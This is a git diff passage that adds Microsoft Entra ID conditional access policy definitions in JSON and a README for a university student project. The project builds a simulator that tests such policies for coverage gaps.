"excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [ + "urn:user:registersecurityinfo" + ], + "includeApplications": [], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 303 - SESSION - Register Security Info Requirements", + "state": "enabled", + "templateId": null, + "grantControls": null + }, + { + "sessionControls": { + "signInFrequency": null, + "cloudAppSecurity": null, + "secureSignInSession": null, + "disableResilienceDefaults": null, + "applicationEnforcedRestrictions": { + "isEnabled": true + }, + "persistentBrowser": null, + "continuousAccessEvaluation": null + }, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "All" + ], + "excludeUsers": [], + "excludeGroups": [ + "REPLACE WITH EXCLUDE GROUP ID" + ], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": { + "excludeDevices": [], + "excludeDeviceStates": [], + "includeDevices": [], + "includeDeviceStates": [], + "deviceFilter": { + "mode": "exclude", + "rule": "device.isCompliant -eq True" + } + }, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "00000003-0000-0ff1-ce00-000000000000" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "GLOBAL - 304 - SESSION - Block File Downloads On Unmanaged Devices", + "state": "enabled", + "templateId": null, + "grantControls": null + }, + { + "sessionControls": null, + "conditions": { + "platforms": null, + "userRiskLevels": [], + "clientApplications": null, + "times": null, + "deviceStates": null, + "users": { + "includeGuestsOrExternalUsers": null, + "includeGroups": [], + "excludeGuestsOrExternalUsers": null, + "includeUsers": [ + "None" + ], + "excludeUsers": [], + "excludeGroups": [], + "excludeRoles": [], + "includeRoles": [] + }, + "devices": null, + "locations": null, + "clientAppTypes": [ + "all" + ], + "applications": { + "applicationFilter": null, + "excludeApplications": [], + "includeUserActions": [], + "includeApplications": [ + "None" + ], + "includeAuthenticationContextClassReferences": [] + }, + "signInRiskLevels": [] + }, + "displayName": "OVERRIDE - 001 - GRANT - Example", + "state": "disabled", + "templateId": null, + "grantControls": { + "operator": "OR", + "builtInControls": [ + "mfa" + ], + "customAuthenticationFactors": [], + "termsOfUse": [], + "authenticationStrength": null + } + } +] \ No newline at end of file diff --git a/CSTijgers/README.md b/CSTijgers/README.md new file mode 100644 index 0000000..4bbbf9b --- /dev/null +++ b/CSTijgers/README.md @@ -0,0 +1,37 @@ +# CSTijgers +# ENTRA ID Conditional Access Policy Simulator + +## Project Overview +This project aims to develop a simulator to evaluate conditional access (CA) policies. The simulator will help identify vulnerability gaps in the policies, test them using test cases, and visualize the policy set. + + +## Project Period +**Fall (September-January)** + +## Key Steps +1. **Environment Setup:** + - Set up a trial Entra ID tenant and create CA policies. +2. **Build Toolbox:** + - Export policies from the Entra ID tenant. + - Evaluate test cases against a policy set. + - Generate conditions that do not hit any policy in the set. + - Generate summarized descriptions for each policy. + - Visualize the policy set. +3. **Present Results:** + - Present findings and results. + +## Deliverables +- Initial Plan +- Mid-term Report(s) +- Final Report +- Two presentations at school +- A software solution with source code and a demo + +## Special Notes +- Review partial solutions available on GitHub before starting. +- The toolbox should be usable from GitHub Actions workflows for automated testing and documentation generation. +- For debugging a parameter called 'ToggleVerbosePrinting' can be enabled in the code for extra command line printing + +--- + +*This project is part of the HBO-ICT CST / IT&Design program at The Hague University of Applied Sciences.* diff --git a/README.md b/README.md index 88350a5..e86b107 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,6 @@ +CSTijgers folder contains new module with device-filter functionality included, Invoke-DCConditionalAccessSimulationWithDevices @parameters + + # DCToolbox A PowerShell toolbox for Microsoft 365 security fans.